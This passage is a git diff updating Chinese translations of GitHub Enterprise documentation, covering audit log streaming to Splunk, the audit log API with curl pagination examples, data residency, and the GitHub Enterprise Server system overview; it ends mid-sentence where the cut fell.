- If you are using Splunk Cloud, `Port` should be `443` if you haven't changed the port configuration. If you are using the free trial version of Splunk Cloud, `Port` should be `8088`. + 如果使用的是 Splunk Cloud,且未更改端口配置,则 `Port` 应为 `443`。 如果使用的是 Splunk Cloud 的免费试用版,则 `Port` 应为 `8088`。 - * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application. + * {% data variables.product.prodname_dotcom %} 可用来验证第三方应用程序的令牌。 - ![Enter the stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png) + ![输入流设置](/assets/images/help/enterprises/audit-stream-add-splunk.png) -1. Leave the **Enable SSL verification** check box selected. +1. 使“启用 SSL 验证”复选框保持选中状态。 - Audit logs are always streamed as encrypted data, however, with this option selected, {% data variables.product.prodname_dotcom %} verifies the SSL certificate of your Splunk instance when delivering events. SSL verification helps ensure that events are delivered to your URL endpoint securely. You can clear the selection of this option, but we recommend you leave SSL verification enabled. -1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect and write to the Splunk endpoint. - ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png) -{% data reusables.enterprise.verify-audit-log-streaming-endpoint %} + 审核日志始终作为加密数据进行流式传输,但是,如果选择此选项, {% data variables.product.prodname_dotcom %} 在传递事件时会验证 Splunk 实例的 SSL 证书。 SSL 验证有助于确保将事件安全地传递到 URL 端点。 您可以清除此选项的选择,但我们建议您将 SSL 验证保留为启用状态。 +1. 单击“检查终结点”以验证 {% data variables.product.prodname_dotcom %} 是否可以连接并写入 Splunk 终结点。 + ![检查终结点](/assets/images/help/enterprises/audit-stream-check-splunk.png) {% data reusables.enterprise.verify-audit-log-streaming-endpoint %} {% ifversion pause-audit-log-stream %} -## Pausing audit log streaming +## 暂停审核日志流 -Pausing the stream allows you to perform maintenance on the receiving application without losing audit data. Audit logs are stored for up to seven days on {% data variables.location.product_location %} and are then exported when you unpause the stream. - -{% ifversion streaming-datadog %} -Datadog only accepts logs from up to 18 hours in the past. If you pause a stream to a Datadog endpoint for more than 18 hours, you risk losing logs that Datadog won't accept after you resume streaming. -{% endif %} +暂停流允许您对接收应用程序执行维护,而不会丢失审核数据。 审核日志在 {% data variables.product.product_location %} 上最多存储七天,然后在取消暂停流时导出。 {% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Click **Pause stream**. +1. 单击“暂停流”。 - ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png) + ![暂停流](/assets/images/help/enterprises/audit-stream-pause.png) -1. A confirmation message is displayed. Click **Pause stream** to confirm. +1. 此时会显示确认消息。 单击“暂停流”进行确认。 -When the application is ready to receive audit logs again, click **Resume stream** to restart streaming audit logs. +当应用程序准备好再次接收审核日志时,请单击“恢复流”以重新启动流式处理审核日志。 {% endif %} -## Deleting the audit log stream +## 删除审核日志流 {% data reusables.enterprise.navigate-to-log-streaming-tab %} -1. Click **Delete stream**. +1. 单击“删除流”。 - ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png) + ![删除流](/assets/images/help/enterprises/audit-stream-delete.png) -1. A confirmation message is displayed. Click **Delete stream** to confirm. +1. 此时会显示确认消息。 单击“删除流”进行确认。 diff --git a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md index 4ce0b73c8d..2535aa5737 100644 --- a/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md @@ -14,12 +14,12 @@ topics: - Enterprise - Logging - API -ms.openlocfilehash: b3c0f2756873494effd0a7fa3e65d4c87e24c01a -ms.sourcegitcommit: d2f0b59ed096b9e68ef8f6fa019cd925165762ec +ms.openlocfilehash: f5dd0a3dcca1e7fd60361f0cb7c8ecf84296e036 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 11/29/2022 -ms.locfileid: '148184251' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192655' --- ## 使用审核日志 API @@ -120,11 +120,11 @@ GraphQL API 将为每个查询最多返回 100 个节点。 若要检索其他 ### 示例 1:企业中在特定日期的所有事件(使用分页显示) -可以使用基于页面的分页或基于游标的分页。 有关详细信息,请参阅“[通过分页进行遍历](/rest/guides/traversing-with-pagination)”。 +可以使用基于页面的分页或基于游标的分页。 有关分页的详细信息,请参阅“[在 REST API 中使用分页](/rest/guides/using-pagination-in-the-rest-api)”。 #### 基于页面的分页的示例 -以下查询搜索 `avocado-corp` 企业中于 2022 年 1 月 1 日创建的审核日志事件,并使用 [REST API 分页](/rest/overview/resources-in-the-rest-api#pagination)返回第一页,每页最多包含 100 个项目: +以下查询搜索 `avocado-corp` 企业中于 2022 年 1 月 1 日创建的审核日志事件,并使用分页返回第一页,每页最多包含 100 个项。 有关分页的详细信息,请参阅“[在 REST API 中使用分页](/rest/guides/using-pagination-in-the-rest-api)”。 ```shell curl -H "Authorization: Bearer TOKEN" \ @@ -134,7 +134,7 @@ curl -H "Authorization: Bearer TOKEN" \ #### 基于游标的分页的示例 -以下查询搜索 `avocado-corp` 企业中于 2022 年 1 月 1 日创建的审核日志事件,并使用 [REST API 分页](/rest/overview/resources-in-the-rest-api#pagination)返回第一页,每页最多包含 100 个项目。 `--include` 标志会导致返回的响应中包含标头。 +以下查询搜索 `avocado-corp` 企业中于 2022 年 1 月 1 日创建的审核日志事件,并使用分页返回第一页,每页最多包含 100 个项。 有关分页的详细信息,请参阅“[在 REST API 中使用分页](/rest/guides/using-pagination-in-the-rest-api)”。 `--include` 标志会导致返回的响应中包含标头。 ``` curl --include -H "Authorization: Bearer TOKEN" \ diff --git a/translations/zh-CN/content/admin/overview/about-data-residency.md b/translations/zh-CN/content/admin/overview/about-data-residency.md index 1147142dd9..7b510fbefd 100644 --- a/translations/zh-CN/content/admin/overview/about-data-residency.md +++ b/translations/zh-CN/content/admin/overview/about-data-residency.md @@ -1,16 +1,21 @@ --- -title: About data residency -intro: 'You can choose the geography where {% data variables.product.product_name %} stores all customer data for your enterprise.' +title: 关于数据保存 +intro: '您可以选择 {% data variables.product.product_name %} 为您的企业存储所有客户数据的地理位置。' versions: ghae: '*' type: overview topics: - Enterprise - Fundamentals +ms.openlocfilehash: b182073799b1f45b697bef47a4314644bc8a52b1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145098694' --- +{% data reusables.github-ae.github-ae-enables-you %} 您可以选择为 {% data variables.product.product_location %} 存储所有客户数据的地理位置,企业成员可以从世界任何地方访问 {% data variables.product.product_name %}。 -{% data reusables.github-ae.github-ae-enables-you %} You can choose the geography where you store all the customer data for {% data variables.location.product_location %}, and members of your enterprise can access {% data variables.product.product_name %} from anywhere in the world. +创建企业时,您可以告诉 {% data variables.contact.contact_enterprise_sales %} 在哪里存储客户数据。 {% data variables.product.company_short %} 不会将您企业的任何数据存储或移动到您选择的地理区域之外。 -When creating your enterprise, you can tell {% data variables.contact.contact_enterprise_sales %} where to store your customer data. {% data variables.product.company_short %} will not store or move any of your enterprise's data outside of the geography you choose. - -For more information about the available geographies, contact {% data variables.contact.contact_enterprise_sales %}. +有关可用地理位置的更多信息,请联系 {% data variables.contact.contact_enterprise_sales %}。 diff --git a/translations/zh-CN/content/admin/overview/about-github-enterprise-server.md b/translations/zh-CN/content/admin/overview/about-github-enterprise-server.md index c3b54b8acf..a0ccb62bbd 100644 --- a/translations/zh-CN/content/admin/overview/about-github-enterprise-server.md +++ b/translations/zh-CN/content/admin/overview/about-github-enterprise-server.md @@ -1,99 +1,104 @@ --- -title: About GitHub Enterprise Server -intro: '{% data variables.product.product_name %} is a software development platform that you can host in a private environment.' +title: 关于 GitHub Enterprise Server +intro: '{% data variables.product.product_name %} 是可在专用环境中托管的软件开发平台。' versions: ghes: '*' type: overview topics: - Enterprise - Fundamentals +ms.openlocfilehash: 2622e3708cc31b24fe39929da68ba5dc8e864d88 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147877157' --- +## 关于 {% data variables.product.product_name %} -## About {% data variables.product.product_name %} - -{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} Your team can use {% data variables.product.product_name %} to build and ship software using Git version control, powerful APIs, productivity and collaboration tools, and integrations. Developers familiar with {% data variables.product.prodname_dotcom_the_website %} can onboard and contribute seamlessly using familiar features and workflows. {% data reusables.enterprise.about-github-for-enterprises %} +{% data reusables.enterprise.ghes-is-a-self-hosted-platform %}你的团队可以使用 {% data variables.product.product_name %} 通过 Git 版本控制、强大的 API、生产力和协作工具及集成生成和交付软件。 熟悉 {% data variables.product.prodname_dotcom_the_website %} 的开发人员可以使用熟悉的功能和工作流无缝加入和参与。 {% data reusables.enterprise.about-github-for-enterprises %} {% data reusables.enterprise.ghes-runs-on-your-infrastructure %} -{% data reusables.enterprise.github-distributes-ghes %} For more information, see "[System overview](/admin/overview/system-overview)." +{% data reusables.enterprise.github-distributes-ghes %}有关详细信息,请参阅“[系统概述](/admin/overview/system-overview)”。 -You can choose to deploy {% data variables.product.product_name %} on premises, or to a supported cloud environment. +可以选择在本地部署 {% data variables.product.product_name %} 或支持云环境。 -## Supported environments for deployment +## 支持的部署环境 -You can deploy {% data variables.product.product_name %} to a virtualization hypervisor within your on-premises datacenter, or to a public cloud service. +可以将 {% data variables.product.product_name %} 部署到本地数据中心内的虚拟化虚拟机监控程序,或部署到公有云服务。 -{% data variables.product.company_short %} supports the following virtualization hypervisors for on-premises deployment. +{% data variables.product.company_short %} 支持用于本地部署的以下虚拟化虚拟机监控程序。 - Microsoft Hyper-V - OpenStack KVM - VMware ESXi -{% data variables.product.company_short %} supports the following services for cloud deployment. +{% data variables.product.company_short %} 支持以下云部署服务。 - Amazon Web Services (AWS) - Google Cloud Platform (GCP) - Microsoft Azure -For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)." +有关详细信息,请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/admin/installation/setting-up-a-github-enterprise-server-instance)”。 -## About releases and upgrades +## 关于发布和升级 -{% data reusables.enterprise.constantly-improving %} You are responsible for upgrades to your instance. For more information, see "[{% data variables.product.product_name %} releases](/admin/all-releases)." +{% data reusables.enterprise.constantly-improving %}你负责升级到实例。 有关详细信息,请参阅“[{% data variables.product.product_name %} 版本](/admin/all-releases)”。 -## About administration +## 关于管理 -You can configure and monitor {% data variables.product.product_name %} via browser, administrative SSH access, and REST or GraphQL APIs. {% data variables.product.company_short %} has found that people with Linux administration experience are more successful with the deployment and maintainance of {% data variables.product.product_name %}. +可以通过浏览器、管理 SSH 访问和 REST 或 GraphQL API 配置和监视 {% data variables.product.product_name %}。 {% data variables.product.company_short %} 发现,具有 Linux 管理体验的人员在部署和维护 {% data variables.product.product_name %} 时更为成功。 -You can give certain employees administrative access to {% data variables.product.product_name %}, so they can set up external authentication, configure the instance to meet developer needs, and monitor the instance's activity and performance. To ensure compliance with business rules or regulatory restrictions, administrators can configure policies that control how people use {% data variables.location.product_location %}. For more information, see the following articles. +你可以向某些员工授予对 {% data variables.product.product_name %} 的管理访问权限,以便他们可以设置外部身份验证、配置实例以满足开发人员需求,以及监视实例的活动和性能。 为了确保符合业务规则或法规限制,管理员可以配置控制人们如何使用 {% data variables.product.product_location %} 的策略。 有关详细信息,请参阅以下文章。 -- "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)" -- "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)" -- "[About the {% data variables.product.prodname_enterprise %} API](/admin/overview/about-the-github-enterprise-api)" -- "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)" -- "[Monitoring activity in your enterprise](/admin/monitoring-activity-in-your-enterprise)" -- "[About enterprise policies](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies)" +- “[关于企业身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)” +- “[配置你的企业](/admin/configuration/configuring-your-enterprise)” +- “[关于 {% data variables.product.prodname_enterprise %} API](/admin/overview/about-the-github-enterprise-api)” +- “[监视你的设备](/admin/enterprise-management/monitoring-your-appliance)” +- “[监视企业中的活动](/admin/monitoring-activity-in-your-enterprise)” +- “[关于企业策略](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies)” -## About optional features +## 关于可选功能 -You can configure optional features for {% data variables.product.product_name %} that improve the software development lifecycle for your enterprise. +可以为 {% data variables.product.product_name %} 配置可选功能,以提高企业的软件开发生命周期。 -| Feature | Description | More information | +| 功能 | 说明 | 详细信息 | | :- | :- | :- | -| {% data variables.product.prodname_actions %} | Automate CI/CD and development workflows | "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)" | -| {% data variables.product.prodname_github_connect %} | Benefit from the power of {% data variables.product.prodname_dotcom_the_website %} in limited ways | "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)" | -| {% data variables.product.prodname_GH_advanced_security %} | Improve code security and quality | "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)" | -| {% data variables.product.prodname_registry %} | Host software packages for your enterprise | "[Introduction to {% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages)" | +| {% data variables.product.prodname_actions %} | 自动化 CI/CD 和开发工作流 | “[关于企业的 {% data variables.product.prodname_actions %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)” | +| {% data variables.product.prodname_github_connect %} | 以有限方式受益于 {% data variables.product.prodname_dotcom_the_website %} 的强大功能 | “[关于 {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)” | +| {% data variables.product.prodname_GH_advanced_security %} | 提高代码安全性和质量 | “[关于 {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)” | +| {% data variables.product.prodname_registry %} | 为企业托管软件包 | “[{% data variables.product.prodname_registry %} 简介](/packages/learn-github-packages/introduction-to-github-packages)” | -## About deployment topologies +## 关于部署拓扑 -By default, {% data variables.product.product_name %} runs as a standalone instance. You can increase the reliability and performance of {% data variables.product.product_name %} by using a different topology for your deployment. +默认情况下,{% data variables.product.product_name %} 作为独立实例运行。 可以通过为部署使用不同的拓扑来提高 {% data variables.product.product_name %} 的可靠性和性能。 -- To mitigate the impact of system or network failures, you can deploy a passive replica instance. During an outage that affects your primary instance, you can manually fail over to the replica instance. For more information, see "[About high availability configuration](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration)." -- You can configure multiple active replicas to improve performance for developers who are geographically distant from your primary instance. For more information, see "[About geo-replication](/admin/enterprise-management/configuring-high-availability/about-geo-replication)." -- Some enterprises with tens of thousands of developers may benefit from a cluster configuration that scales horizontally instead of vertically. For more information, see "[About clustering](/admin/enterprise-management/configuring-clustering/about-clustering)." +- 若要缓解系统或网络故障的影响,可以部署被动副本实例。 在影响主实例的中断期间,可以手动故障转移到副本实例。 有关详细信息,请参阅“[关于高可用性配置](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration)”。 +- 可以配置多个活动副本,以提高与主实例相距很远的开发人员的性能。 有关详细信息,请参阅“[有关异地复制](/admin/enterprise-management/configuring-high-availability/about-geo-replication)”。 +- 一些拥有数万个开发人员的企业可能会受益于横向缩放而不是垂直缩放的群集配置。 有关详细信息,请参阅“[关于群集](/admin/enterprise-management/configuring-clustering/about-clustering)”。 -## About backups and disaster recovery +## 关于备份和灾难恢复 -To safeguard against data loss or service disruptions for your developers, {% data variables.product.company_short %} strongly recommends that you establish a plan for disaster recovery. You can back up your instance's configuration and user data by deploying and configuring a Linux or Unix host system with {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)." +为了防止开发人员的数据丢失或服务中断,{% data variables.product.company_short %} 强烈建议你制定灾难恢复计划。 可以通过使用 {% data variables.product.prodname_enterprise_backup_utilities %} 部署和配置 Linux 或 Unix 主机系统来备份实例的配置和用户数据。 有关详细信息,请参阅“[在设备上配置备份](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)”。 -Additionally, you can configure a passive replica instance to fail over to in the event of a system or network failure. For more information, see "[About deployment topologies](#about-deployment-topologies)." +此外,还可以将被动副本实例配置为在系统或网络出现故障时故障转移到该实例。 有关详细信息,请参阅“[关于部署拓扑](#about-deployment-topologies)”。 -## About documentation +## 关于文档 -Documentation for both administrators and users of {% data variables.product.product_name %} is available on this site, {% data variables.product.prodname_docs %}. +此网站上提供了 {% data variables.product.product_name %} 的管理员和用户的文档 {% data variables.product.prodname_docs %}。 -- [Enterprise administrator documentation](/admin) -- [User documentation](/) +- [企业管理员文档](/admin) +- [用户文档](/) -Different versions of {% data variables.product.product_name %} are reflected separately in the documentation on {% data variables.product.prodname_docs %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." +{% data variables.product.product_name %} 的不同版本分别反映在有关 {% data variables.product.prodname_docs %} 的文档中。 有关详细信息,请参阅[关于 {% data variables.product.prodname_docs %} 的版本](/get-started/learning-about-github/about-versions-of-github-docs)。 -## Trying {% data variables.product.product_name %} +## 尝试 {% data variables.product.product_name %} -You can sign up for a free, 45-day trial of {% data variables.product.product_name %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server)." +可以注册 {% data variables.product.product_name %} 的免费 45 天试用版。 有关详细信息,请参阅“[设置试用版 {% data variables.product.prodname_ghe_server %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server)”。 -## Further reading +## 延伸阅读 -- "[Getting started with {% data variables.product.product_name %}](/get-started/onboarding/getting-started-with-github-enterprise-server)" -- "[About {% data variables.contact.github_support %}](/support/learning-about-github-support/about-github-support)" -- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository +- “[{% data variables.product.product_name %} 入门](/get-started/onboarding/getting-started-with-github-enterprise-server)” +- “[关于 {% data variables.contact.github_support %}](/support/learning-about-github-support/about-github-support)” +- `github/roadmap` 存储库中的 [{% data variables.product.prodname_roadmap %}]( {% data variables.product.prodname_roadmap_link %} ) diff --git a/translations/zh-CN/content/admin/overview/system-overview.md b/translations/zh-CN/content/admin/overview/system-overview.md index c1e59ff959..277fae1f99 100644 --- a/translations/zh-CN/content/admin/overview/system-overview.md +++ b/translations/zh-CN/content/admin/overview/system-overview.md @@ -1,6 +1,6 @@ --- -title: System overview -intro: 'Learn more about {% data variables.product.product_name %}''s system internals, functionality, and security.' +title: 系统概览 +intro: '详细了解 {% data variables.product.product_name %} 的系统内部结构、功能和安全性。' redirect_from: - /enterprise/admin/installation/system-overview - /enterprise/admin/overview/system-overview @@ -13,155 +13,160 @@ topics: - Infrastructure - Security - Storage +ms.openlocfilehash: 656d68b267b4a739812b10e9409609f61cacdd5e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066936' --- +## 关于 {% data variables.product.product_name %} -## About {% data variables.product.product_name %} +{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} {% data reusables.enterprise.github-distributes-ghes %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server)”。 -{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} {% data reusables.enterprise.github-distributes-ghes %} For more information, see "[About {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server)." +## 存储体系结构 -## Storage architecture +{% data variables.product.product_name %} 需要两个存储卷,一个装载到根文件系统路径 (`/`) 下,另一个装载到用户文件系统路径 (`/data/user`) 下 。 这种架构将运行软件环境与持久应用程序数据分离,从而可以简化升级、回滚和恢复程序。 -{% data variables.product.product_name %} requires two storage volumes, one mounted to the *root filesystem* path (`/`) and the other to the *user filesystem* path (`/data/user`). This architecture simplifies the upgrade, rollback, and recovery procedures by separating the running software environment from persistent application data. +根文件系统包含在分布式机器映像中。 它包含基本操作系统和 {% data variables.product.product_name %} 应用程序环境。 根文件系统应被视为临时性的。 升级到今后的 {% data variables.product.product_name %} 版本时,根文件系统中的所有数据都将被替代。 -The root filesystem is included in the distributed machine image. It contains the base operating system and the {% data variables.product.product_name %} application environment. The root filesystem should be treated as ephemeral. Any data on the root filesystem will be replaced when upgrading to future {% data variables.product.product_name %} releases. +根存储量分成两个相同大小的分区。 其中一个分区将装载为根文件系统 (`/`)。 另一个分区仅在升级和升级的回退过程中作为 `/mnt/upgrade` 装载,以便在必要时更容易回退。 例如,如果分配了 200GB 根卷,將有 100GB 分配到根文件系统,100GB 用于升级和回滚。 -The root storage volume is split into two equally-sized partitions. One of the partitions will be mounted as the root filesystem (`/`). The other partition is only mounted during upgrades and rollbacks of upgrades as `/mnt/upgrade`, to facilitate easier rollbacks if necessary. For example, if a 200GB root volume is allocated, there will be 100GB allocated to the root filesystem and 100GB reserved for the upgrades and rollbacks. +根文件系统包含存储以下信息的文件。 此列表并未囊括所有方式。 -The root filesystem contains files that store the following information. This list is not exhaustive. +- 自定义证书颁发机构 (CA) 证书(在 `/usr/local/share/ca-certificates*` 中) +- 自定义网络配置 +- 自定义防火墙配置 +- 复制状态 -- Custom certificate authority (CA) certificates (in `/usr/local/share/ca-certificates*`) -- Custom networking configurations -- Custom firewall configurations -- The replication state +用户文件系统包含存储以下配置和数据的文件。 此列表并未囊括所有方式。 -The user filesystem contains files that store following configuration and data. This list is not exhaustive. +- Git 存储库 +- 数据库 +- 搜索索引 +- 在 {% data variables.product.prodname_pages %} 站点上发布的内容 +- {% data variables.large_files.product_name_long %} 中的大文件 +- 预接收挂钩环境 -- Git repositories -- Databases -- Search indexes -- Content published on {% data variables.product.prodname_pages %} sites -- Large files from {% data variables.large_files.product_name_long %} -- Pre-receive hook environments +## 部署拓扑 -## Deployment topologies +可以在各种拓扑(例如高可用性对)中部署 {% data variables.product.product_name %}。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server#about-deployment-topologies)”。 -You can deploy {% data variables.product.product_name %} in a variety of topologies, such as a high availability pair. For more information, see "[About {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server#about-deployment-topologies)." - -## Data retention and datacenter redundancy +## 数据保留和数据中心冗余 {% warning %} -**Warning**: Before using {% data variables.product.product_name %} in a production environment, we strongly recommend you set up backups and a disaster recovery plan. +**警告**:在生产环境中使用 {% data variables.product.product_name %} 之前,我们强烈建议你设置备份和灾难恢复计划。 {% endwarning %} -{% data variables.product.product_name %} includes support for online and incremental backups with {% data variables.product.prodname_enterprise_backup_utilities %}. You can take incremental snapshots over a secure network link (the SSH administrative port) over long distances for off-site or geographically dispersed storage. You can restore snapshots over the network into a newly provisioned instance at time of recovery in case of disaster at the primary datacenter. +{% data variables.product.product_name %} 包括支持通过 {% data variables.product.prodname_enterprise_backup_utilities %} 进行联机和增量备份。 您可以通过安全网络链接(SSH 管理端口)远距离为场外或地理上分散的存储生成增量快照。 在主数据中心发生灾难时,你可以在恢复时通过网络将快照恢复到新预配的实例中。 -In addition to network backups, both AWS (EBS) and VMware disk snapshots of the user storage volumes are supported while the instance is offline or in maintenance mode. Regular volume snapshots can be used as a low-cost, low-complexity alternative to network backups with {% data variables.product.prodname_enterprise_backup_utilities %} if your service level requirements allow for regular offline maintenance. +除网络备份外,在实例处于离线或维护模式时,还支持用户存储卷的 AWS (EBS) 和 VMware 磁盘快照。 如果您的服务级别要求允许定期离线维护,可以将定期卷快照用作低成本、低复杂性的方案,代替通过 {% data variables.product.prodname_enterprise_backup_utilities %} 进行网络备份。 -For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)." +有关详细信息,请参阅“[在设备上配置备份](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)”。 -## Security +## 安全性 {% data reusables.enterprise.ghes-runs-on-your-infrastructure %} -{% data variables.product.product_name %} also includes additional security features. +{% data variables.product.product_name %} 还包含额外的安全功能。 -- [Operating system, software, and patches](#operating-system-software-and-patches) -- [Network security](#network-security) -- [Application security](#application-security) -- [External services and support access](#external-services-and-support-access) -- [Encrypted communication](#encrypted-communication) -- [Users and access permissions](#users-and-access-permissions) -- [Authentication](#authentication) -- [Audit and access logging](#audit-and-access-logging) +- [操作系统、软件和补丁](#operating-system-software-and-patches) +- [网络安全](#network-security) +- [应用程序安全性](#application-security) +- [外部服务和支持访问](#external-services-and-support-access) +- [加密通信](#encrypted-communication) +- [用户和访问权限](#users-and-access-permissions) +- [身份验证](#authentication) +- [审核和访问日志记录](#audit-and-access-logging) -### Operating system, software, and patches +### 操作系统、软件和补丁 -{% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services. {% data variables.product.company_short %} distributes patches for the instance's core operating system as part of its standard product release cycle. Patches address functionality, stability, and non-critical security issues for {% data variables.product.product_name %}. {% data variables.product.company_short %} also provides critical security patches as needed outside of the regular release cycle. +{% data variables.product.product_name %} 运行自定义的 Linux 操作系统,其中只包含必要的应用程序和服务。 {% data variables.product.company_short %} 将实例核心操作系统的补丁作为其标准产品发布周期的一部分进行分发。 补丁可解决 {% data variables.product.product_name %} 的功能、稳定性和非关键性安全问题。 {% data variables.product.company_short %} 还根据需要在常规发布周期之外提供重要的安全补丁。 -{% data variables.product.product_name %} is provided as an appliance, and many of the operating system packages are modified compared to the usual Debian distribution. We do not support modifying the underlying operating system for this reason (including operating system upgrades), which is aligned with the [{% data variables.product.prodname_ghe_server %} license and support agreement](https://enterprise.github.com/license), under section 11.3 Exclusions. +{% data variables.product.product_name %} 作为一种设备提供,许多操作系统包与通常的 Debian 分发相比进行了修改。 因此,我们不支持修改基础操作系统(包括操作系统升级),与 [{% data variables.product.prodname_ghe_server %} 许可证和支持协议](https://enterprise.github.com/license)第 11.3 除外条款保持一致。 -Currently, the base operating system for {% data variables.product.product_name %} is Debian 9 (Stretch), which receives support under the Debian Long Term Support program. There are plans to move to a newer base operating system before the end of the Debian LTS period for Stretch. +目前,{% data variables.product.product_name %} 的基础操作系统是 Debian 9 (Stretch),并接受 Debian 长期支持计划的支持。 计划在 Stretch 的 Debian LTS 期间结束前迁移到更新的基础操作系统。 -Regular patch updates are released on the {% data variables.product.product_name %} [releases](https://enterprise.github.com/releases) page, and the [release notes](/admin/release-notes) page provides more information. These patches typically contain upstream vendor and project security patches after they've been tested and quality approved by our engineering team. There can be a slight time delay from when the upstream update is released to when it's tested and bundled in an upcoming {% data variables.product.product_name %} patch release. +定期补丁更新发布在 {% data variables.product.product_name %} [发行](https://enterprise.github.com/releases)页面上,[发行说明](/admin/release-notes)页面提供了详细信息。 这些补丁一般含有经过测试并且质量经过我们工程团队批准的上游供应商和项目安全补丁。 从上游更新发布到测试以及捆绑于即将发布的 {% data variables.product.product_name %} 补丁版本中时,可能稍有延迟。 -### Network security +### 网络安全性 -{% data variables.product.product_name %}'s internal firewall restricts network access to the instance's services. Only services necessary for the appliance to function are available over the network. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports)." +{% data variables.product.product_name %} 的内部防火墙限制对实例服务的网络访问。 网络上仅提供设备正常运行所需的服务。 有关详细信息,请参阅“[网络端口](/admin/configuration/configuring-network-settings/network-ports)”。 -### Application security +### 应用程序安全性 -{% data variables.product.company_short %}'s application security team focuses full-time on vulnerability assessment, penetration testing, and code review for {% data variables.product.company_short %} products, including {% data variables.product.product_name %}. {% data variables.product.company_short %} also contracts with outside security firms to provide point-in-time security assessments of {% data variables.product.company_short %} products. +{% data variables.product.company_short %} 的应用程序安全团队全时关注 {% data variables.product.company_short %} 产品(包括 {% data variables.product.product_name %})的漏洞评估、渗透测试和代码评审。 {% data variables.product.company_short %} 还与外部安全公司签约,要求他们对 {% data variables.product.company_short %} 产品定期进行安全性评估。 -### External services and support access +### 外部服务和支持 -{% data variables.product.product_name %} can operate without any egress access from your network to outside services. You can optionally enable integration with external services for email delivery, external monitoring, and log forwarding. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)," "[Setting up external monitoring](/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring)," and "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)." +{% data variables.product.product_name %} 无需从网络访问外部服务也可以正常运行。 您可以选择集成外部服务,以提供电子邮件传送、外部监控和日志转发等功能。 有关详细信息,请参阅“[配置电子邮件通知](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)”、“[设置外部监视](/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring)”和“[日志转发](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)”。 -You can manually collect and send 